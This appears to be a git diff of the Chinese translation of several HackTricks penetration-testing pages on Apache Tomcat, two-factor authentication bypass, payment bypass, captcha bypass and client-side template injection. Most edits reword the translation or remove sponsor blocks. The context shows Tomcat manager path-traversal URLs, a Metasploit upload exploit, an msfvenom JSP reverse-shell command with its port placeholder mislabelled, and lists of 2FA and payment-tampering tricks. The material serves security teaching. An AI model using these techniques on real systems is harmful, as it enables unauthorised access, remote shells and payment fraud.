学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,20 +9,12 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 发现
|
||||
|
||||
* 通常运行在 **8080 端口**
|
||||
|
@ -79,11 +71,11 @@ Along with setting various parameters in Metasploit to target a specific host.
|
|||
|
||||
### **密码回溯泄露**
|
||||
|
||||
访问 `/auth.jsp` 可能在幸运的情况下揭示密码的回溯信息。
|
||||
在幸运的情况下,访问 `/auth.jsp` 可能会在回溯中泄露密码。
|
||||
|
||||
### **双重URL编码**
|
||||
|
||||
`mod_jk` 中的 CVE-2007-1860 漏洞允许双重URL编码路径遍历,通过特制的URL实现对管理界面的未经授权访问。
|
||||
`mod_jk` 中的 CVE-2007-1860 漏洞允许双重URL编码路径遍历,通过特制的URL使未经授权的访问管理界面成为可能。
|
||||
|
||||
要访问Tomcat的管理网页,请前往: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
|
@ -120,7 +112,7 @@ Apache Tomcat 版本 4.x 到 7.x 包含易受信息泄露和跨站脚本(XSS
|
|||
|
||||
因此,例如,您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` **访问Tomcat管理**页面。
|
||||
|
||||
**另一种方法**是通过此技巧访问受保护路径,访问 `http://www.vulnerable.com/;param=value/manager/html`
|
||||
**另一种方法**是通过访问 `http://www.vulnerable.com/;param=value/manager/html` 来绕过受保护的路径。
|
||||
|
||||
## RCE
|
||||
|
||||
|
@ -149,7 +141,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```
|
||||
### MSFVenom 反向 Shell
|
||||
|
||||
1. 创建要部署的 war:
|
||||
1. 创建要部署的 war:
|
||||
```bash
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
|
@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -255,7 +242,7 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,23 @@
|
|||
# Basic Tomcat Info
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### 避免以 root 身份运行
|
||||
|
||||
为了不以 root 身份运行 Tomcat,一个非常常见的配置是在 80/443 端口上设置一个 Apache 服务器,并且如果请求的路径与正则表达式匹配,请求将被发送到在不同端口上运行的 Tomcat。
|
||||
为了不以 root 身份运行 Tomcat,一个非常常见的配置是在 80/443 端口上设置 Apache 服务器,并且如果请求路径与正则表达式匹配,请求将被发送到运行在不同端口上的 Tomcat。
|
||||
|
||||
### 默认结构
|
||||
```
|
||||
|
@ -57,7 +49,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* `tomcat-users.xml` 文件存储用户凭据及其分配的角色。
|
||||
* `lib` 文件夹包含 Tomcat 正常运行所需的各种 JAR 文件。
|
||||
* `logs` 和 `temp` 文件夹存储临时日志文件。
|
||||
* `webapps` 文件夹是 Tomcat 的默认 webroot,托管所有应用程序。`work` 文件夹充当缓存,用于在运行时存储数据。
|
||||
* `webapps` 文件夹是 Tomcat 的默认网页根目录,托管所有应用程序。`work` 文件夹充当缓存,用于在运行时存储数据。
|
||||
|
||||
`webapps` 内部的每个文件夹预计具有以下结构。
|
||||
```
|
||||
|
@ -152,11 +144,6 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -9,39 +9,26 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **增强的双因素认证绕过技术**
|
||||
|
||||
### **直接端点访问**
|
||||
|
||||
要绕过 2FA,直接访问后续端点,了解路径至关重要。如果不成功,请更改 **Referrer header** 以模拟从 2FA 验证页面的导航。
|
||||
要绕过 2FA,直接访问后续端点,了解路径至关重要。如果不成功,修改 **Referrer header** 以模拟从 2FA 验证页面的导航。
|
||||
|
||||
### **令牌重用**
|
||||
|
||||
在账户内重用先前使用的令牌进行身份验证可能有效。
|
||||
|
||||
### **未使用令牌的利用**
|
||||
### **利用未使用的令牌**
|
||||
|
||||
从自己的账户提取令牌以绕过另一个账户的 2FA 可以尝试。
|
||||
尝试从自己的账户提取令牌以绕过另一个账户的 2FA。
|
||||
|
||||
### **令牌暴露**
|
||||
|
||||
|
@ -53,15 +40,15 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
### **会话操控**
|
||||
|
||||
为用户和受害者的账户启动会话,并在不继续的情况下完成用户账户的 2FA,允许尝试访问受害者账户流程中的下一步,利用后端会话管理的限制。
|
||||
为用户和受害者的账户启动会话,并在不继续的情况下完成用户账户的 2FA,尝试访问受害者账户流程的下一步,利用后端会话管理的限制。
|
||||
|
||||
### **密码重置机制**
|
||||
|
||||
调查密码重置功能,该功能在重置后将用户登录到应用程序,检查其是否允许使用相同链接进行多次重置。使用新重置的凭据登录可能绕过 2FA。
|
||||
|
||||
### **OAuth 平台入侵**
|
||||
### **OAuth 平台妥协**
|
||||
|
||||
入侵受信任的 **OAuth** 平台(例如,Google、Facebook)上的用户账户可以提供绕过 2FA 的途径。
|
||||
妥协用户在受信任的 **OAuth** 平台(例如,Google、Facebook)上的账户可以提供绕过 2FA 的途径。
|
||||
|
||||
### **暴力攻击**
|
||||
|
||||
|
@ -87,7 +74,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
#### **短信代码重发费用**
|
||||
|
||||
通过短信过度重发代码会给公司带来费用,但不会绕过 2FA。
|
||||
通过 SMS 过度重发代码会给公司带来费用,但不会绕过 2FA。
|
||||
|
||||
#### **无限 OTP 生成**
|
||||
|
||||
|
@ -105,7 +92,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
#### **可预测的 Cookie 值**
|
||||
|
||||
猜测“记住我” cookie 值可以绕过限制。
|
||||
猜测“记住我” Cookie 值可以绕过限制。
|
||||
|
||||
#### **IP 地址冒充**
|
||||
|
||||
|
@ -123,11 +110,11 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
### **处理先前会话**
|
||||
|
||||
在 2FA 激活时终止现有会话可以保护账户免受被入侵会话的未经授权访问。
|
||||
在 2FA 激活时终止现有会话可以保护账户免受被妥协会话的未授权访问。
|
||||
|
||||
### **备份代码的访问控制缺陷**
|
||||
|
||||
在 2FA 激活时立即生成和潜在未经授权检索备份代码,尤其是在 CORS 错误配置/XSS 漏洞的情况下,构成风险。
|
||||
在 2FA 激活时立即生成和潜在未授权检索备份代码,特别是在 CORS 错误配置/XSS 漏洞的情况下,构成风险。
|
||||
|
||||
### **2FA 页面信息泄露**
|
||||
|
||||
|
@ -139,7 +126,7 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
|
||||
### **诱饵请求**
|
||||
|
||||
利用诱饵请求来掩盖暴力攻击尝试或误导速率限制机制为绕过策略增加了另一层。制作此类请求需要对应用程序的安全措施和速率限制行为有细致的理解。
|
||||
利用诱饵请求来模糊暴力攻击或误导速率限制机制为绕过策略增加了另一层。制作此类请求需要对应用程序的安全措施和速率限制行为有细致的理解。
|
||||
|
||||
### OTP 构造错误
|
||||
|
||||
|
@ -151,17 +138,6 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
P
|
||||
|
||||
|
@ -174,7 +150,7 @@ P
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,28 +9,20 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 支付绕过技术
|
||||
|
||||
### 请求拦截
|
||||
在交易过程中,监控客户端和服务器之间交换的数据至关重要。这可以通过拦截所有请求来实现。在这些请求中,注意具有重大影响的参数,例如:
|
||||
在交易过程中,监控客户端与服务器之间交换的数据至关重要。这可以通过拦截所有请求来实现。在这些请求中,注意具有重大影响的参数,例如:
|
||||
|
||||
- **成功**:此参数通常指示交易的状态。
|
||||
- **成功**:该参数通常指示交易的状态。
|
||||
- **引荐来源**:它可能指向请求来源。
|
||||
- **回调**:这通常用于在交易完成后重定向用户。
|
||||
- **回调**:通常用于在交易完成后重定向用户。
|
||||
|
||||
### URL 分析
|
||||
如果遇到包含 URL 的参数,特别是遵循模式 _example.com/payment/MD5HASH_ 的 URL,则需要更仔细地检查。以下是逐步方法:
|
||||
|
@ -50,15 +42,9 @@
|
|||
1. **会话令牌**:如果在支付过程中使用会话令牌,尝试捕获和操控它们。这可能会揭示会话管理漏洞。
|
||||
|
||||
### 响应篡改
|
||||
1. **拦截响应**:使用工具拦截和分析来自服务器的响应。查找可能指示成功交易或揭示支付过程下一步的数据。
|
||||
1. **拦截响应**:使用工具拦截并分析来自服务器的响应。查找可能指示成功交易或揭示支付流程下一步的数据。
|
||||
2. **修改响应**:尝试在浏览器或应用程序处理之前修改响应,以模拟成功交易场景。
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -68,8 +54,8 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,19 +9,19 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Captcha Bypass
|
||||
|
||||
为了在 **服务器测试** 中 **绕过** 验证码并自动化用户输入功能,可以采用多种技术。目标不是削弱安全性,而是简化测试过程。以下是全面的策略列表:
|
||||
为了在 **服务器测试** 中 **绕过** 验证码并自动化用户输入功能,可以采用多种技术。目标不是削弱安全性,而是简化测试过程。以下是一个全面的策略列表:
|
||||
|
||||
1. **参数操控**:
|
||||
* **省略验证码参数**:避免发送验证码参数。尝试将 HTTP 方法从 POST 更改为 GET 或其他动词,并更改数据格式,例如在表单数据和 JSON 之间切换。
|
||||
* **发送空验证码**:提交请求时保留验证码参数,但留空。
|
||||
* **发送空验证码**:提交请求时保留验证码参数但留空。
|
||||
|
||||
2. **值提取和重用**:
|
||||
* **源代码检查**:在页面源代码中搜索验证码值。
|
||||
|
@ -32,21 +32,17 @@
|
|||
3. **自动化和识别**:
|
||||
* **数学验证码**:如果验证码涉及数学运算,自动化计算过程。
|
||||
* **图像识别**:
|
||||
* 对于需要从图像中读取字符的验证码,手动或程序性地确定唯一图像的总数。如果集合有限,您可能会通过其 MD5 哈希识别每个图像。
|
||||
* 对于需要从图像中读取字符的验证码,手动或程序性地确定唯一图像的总数。如果集合有限,您可能通过其 MD5 哈希识别每个图像。
|
||||
* 利用光学字符识别 (OCR) 工具,如 [Tesseract OCR](https://github.com/tesseract-ocr/tesseract),自动化从图像中读取字符。
|
||||
|
||||
4. **其他技术**:
|
||||
* **速率限制测试**:检查应用程序是否限制在给定时间内的尝试或提交次数,以及是否可以绕过或重置此限制。
|
||||
* **第三方服务**:使用验证码解决服务或 API,提供自动化验证码识别和解决方案。
|
||||
* **第三方服务**:使用验证码解决服务或提供自动化验证码识别和解决的 API。
|
||||
* **会话和 IP 轮换**:频繁更改会话 ID 和 IP 地址,以避免被服务器检测和阻止。
|
||||
* **用户代理和头部操控**:更改用户代理和其他请求头,以模拟不同的浏览器或设备。
|
||||
* **音频验证码分析**:如果有音频验证码选项,使用语音转文本服务来解释和解决验证码。
|
||||
|
||||
## 在线服务解决验证码
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
Capsolver 的自动验证码解决方案提供 **经济实惠且快速的验证码解决方案**。您可以通过其简单的集成选项快速将其与您的程序结合,以在几秒钟内获得最佳结果。它可以解决 reCAPTCHA V2 和 V3、hCaptcha、FunCaptcha、datadome、aws captcha、图像转文本、binance / coinmarketcap captcha、geetest v3 等。然而,这并不是一种真正的绕过。
|
||||
## Online Services to solve captchas
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -57,8 +53,8 @@ Capsolver 的自动验证码解决方案提供 **经济实惠且快速的验证
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 客户端模板注入 (CSTI)
|
||||
# Client Side Template Injection (CSTI)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,23 +15,10 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
